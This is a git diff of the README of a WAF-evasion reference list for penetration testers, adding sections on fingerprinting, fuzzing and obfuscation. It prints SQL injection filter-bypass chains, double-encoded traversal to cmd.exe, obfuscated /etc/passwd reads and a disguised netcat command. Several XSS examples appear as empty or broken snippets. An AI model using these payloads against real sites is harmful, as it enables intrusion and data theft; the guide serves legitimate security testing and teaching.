diff --git a/README.md b/README.md index ef01729..7a8940c 100644 --- a/README.md +++ b/README.md @@ -10,19 +10,38 @@ __A Concise Definition:__ A web application firewall is a security policy enforc Feel free to [contribute](CONTRIBUTING.md). ### Contents: -- [Awesome WAFs List](#awesome-waf-list) -- [Awesome Testing Methodology](#testing-methodology) -- [Awesome WAF Detection](#waf-detection) -- [Awesome Evasion Techniques](#evasion-techniques) -- [Awesome Tools](#awesome-tools) -- [Awesome Blogs & Writeups](#blogs-and-writeups) +- [Introduction](#introduction) + - [How WAFs Work](#how-wafs-work) + - [Operation Modes](#operation-modes) +- [Testing Methodology](#testing-methodology) + - [Where To Look](#where-to-look) + - [Detection Techniques](#detection-techniques) +- [WAF Fingerprints](#waf-fingerprints) +- [Evasion Techniques](#evasion-techniques) + - [Fuzzing/Bruteforcing](#fuzzingbruteforcing) + - [Regex Reversing](#regex-reversing) + - [Obfuscation/Encoding](#obfuscation) + - [Browser Bugs](#browser-bugs) + - [HTTP Header Spoofing](#request-header-spoofing) + - [Google Dorks Approach](#google-dorks-approach) +- [Known Bypasses](#known-bypasses) +- [Awesome Tooling](#awesome-tools) + - [Fingerprinting](#fingerprinting) + - [Testing](#testing) + - [Evasion](#evasion) +- [Blogs & Writeups](#blogs-and-writeups) +- [Video Presentations](#video-presentations) - [Awesome Presentations & Papers](#presentations--research-papers) + - [Research Papers](#research-papers) + - [Presentation Slides](#presentations) +- [Licensing & Credits](#credits--license) -## How WAFs Work: +## Introduction: +### How WAFs Work: - Using a set of rules to distinguish between normal requests and malicious requests. - Sometimes they use a learning mode to add rules automatically through learning about user behaviour. -## Operation Modes: +### Operation Modes: - __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all `` inputs. - __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees. - __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. @@ -42,14 +61,14 @@ Feel free to [contribute](CONTRIBUTING.md). 1. Make a normal GET request from a browser, intercept and test response headers (specifically cookies). 2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included). 3. If there is a login page somewhere, try some common (easily detectable) payloads like `' or 1 = 1 --`. -4. If there is some search box or input field somewhere, try detecting payloads like ``. +4. If there is some input field somewhere, try with noisy payloads like ``. 5. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries). 6. Many a times, the WAF varies the `Server` header upon different types of interactions. 7. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response. > __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net). 8. Side Channel Attacks - Examine the timing behaviour of the request and response content. -## WAF Detection +## WAF Fingerprints Wanna detect WAFs? Lets see how. > __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#awesome-tools). @@ -1426,13 +1445,14 @@ Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: - Wordlists specifically for fuzzing - [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing). - [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) + - [Other Payloads](https://github.com/foospidy/payloads) #### Technique: - Load up your wordlist into fuzzer and start the bruteforce. - Record/log all responses from the different payloads fuzzed. - Use random user-agents, ranging from Chrome Desktop to iPhone browser. - If blocking noticed, increase fuzz latency (eg. 2-4 secs). -- Always use proxies, since chances are real that your IP gets blocked. +- Always use proxychains, since chances are real that your IP gets blocked. #### Drawbacks: - This method often fails. @@ -1448,62 +1468,53 @@ Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: ### Keyword Filter Detection/Bypass -__SQL Injection__ +__Example__: SQL Injection ##### • Step 1: -__Keyword filer__: `and`, `or`, `union` -__Possible PHP Filter Code__: `preg_match('/(and|or|union)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union` - __Filtered Injection__: `union select user, password from users` - __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'` ##### • Step 2: -__Keyword filer__: `and`, `or`, `union`, `where` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where` - __Filtered Injection__: `1 || (select user from users where user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'` ##### • Step 3: -__Keyword filer__: `and`, `or`, `union`, `where`, `limit` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit` - __Filtered Injection__: `1 || (select user from users limit 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` ##### • Step 4: -__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by` - __Filtered Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1` ##### • Step 5: -__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select` - __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'` - __Bypassed Injection__: `1 || substr(user,1,1) = 'a'` ##### • Step 6: -__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'` - __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || user_id is not null` - __Bypassed Injection__: `1 || substr(user,1,1) = 0x61` - __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)` ##### • Step 7: -__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex` - __Filtered Injection__: `1 || substr(user,1,1) = unhex(61)` - __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))` ##### • Step 8: -__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr` - __Filtered Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))` - __Bypassed Injection__: `1 || lpad(user,7,1)` ##### • Step 9: -__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space` -__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)` +__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space` - __Filtered Injection__: `1 || lpad(user,7,1)` - __Bypassed Injection__: `1%0b||%0blpad(user,7,1)` @@ -1513,91 +1524,125 @@ __Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group b - You can encode whole payload, or some parts of it and test recursively. #### Techniques: -__1. URL Encoding__ +__1. Case Toggling__ +- Some poorly developed WAFs filter selectively specific case WAFs. +- We can combine upper and lower case characters for developing efficient payloads. + +__Standard__: `` +__Bypassed__: `` + +__Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'` +__Bypassed__: `sELecT * FrOM all_tables whERe OwNeR = 'DATABASE_NAME'` + +__2. URL Encoding__ - Encode normal payloads with % encoding/URL encoding. - Can be done with online tools like [this](https://www.url-encode-decode.com/). - Burp includes a in-built encoder/decoder. -Blocked: `` -Encoded: `"><img src=x onerror=confirm()>` (General form) -Encoded: `"><img src=x onerror=confirm()>` (Numeric reference) +__Standard__: `">` +__Encoded__: `"><img src=x onerror=confirm()>` (General form) +__Encoded__: `"><img src=x onerror=confirm()>` (Numeric reference) -__4. Mixed Encoding__ +__5. Mixed Encoding__ - WAF rules often tend to filter out a single type of encoding. - This type of filters can be bypassed by mixed encoding payloads. +- Tabs and newlines further add to obfuscation. -Standard: `` -Obfuscated: `` +__Obfuscated__: +``` +XSS +``` -__5. Using Comments__ +__6. Using Comments__ - Comments obfuscate standard payload vectors. - Different payloads have different ways of obfuscation. -Blocked: `` -Bypassed: `` +__Blocked__: `` +__Bypassed__: `` -Blocked: `/?id=1+union+select+1,2,3---` -Bypassed: `/?id=1+un/**/ion+sel/**/ect+1,2,3-` +__Blocked__: `/?id=1+union+select+1,2,3---` +__Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3-` -__6. Double Encoding__ +__7. Double Encoding__ - Often WAF filters tend to encode characters to prevent attacks. - However poorly developed filters (no recursion filters) can be bypassed with double encoding. -Standard: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\` -Obfuscated: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\` +__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\` +__Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\` -Standard: `` -Obfuscated: `%253Cscript%253Ealert('XSS')%253C%252Fscript%253E` +__Standard__: `` +__Obfuscated__: `%253Cscript%253Ealert('XSS')%253C%252Fscript%253E` -__7. Wildcard Encoding__ +__8. Wildcard Encoding__ - Globbing patterns are used by various command-line utilities to work with multiple files. - We can tweak them to execute system commands. - Specific to remote code execution vulnerabilities on linux systems. -Standard: `/bin/cat /etc/passwd` -Obfuscated: `/???/??t /???/??ss??` +__Standard__: `/bin/cat /etc/passwd` +__Obfuscated__: `/???/??t /???/??ss??` Used chars: `/ ? t s` -Standard: `/bin/nc 127.0.0.1 1337` -Obfuscated: `/???/n? 2130706433 1337` +__Standard__: `/bin/nc 127.0.0.1 1337` +__Obfuscated__: `/???/n? 2130706433 1337` Used chars: `/ ? n [0-9]` -__8. String Concatenation__ +__9. String Concatenation__ - Different programming languages have different syntaxes and patterns for concatenation. - This allows us to effectively generate payloads that can bypass many filters and rules. -Standard: `/bin/cat /etc/passwd` -Obfuscated: `/bi'n/c'at' /e'tc'/pa'''ss'wd` +__Standard__: `/bin/cat /etc/passwd` +__Obfuscated__: `/bi'n/c'at' /e'tc'/pa'''ss'wd` > Bash allows path concatenation for execution. -Standard: `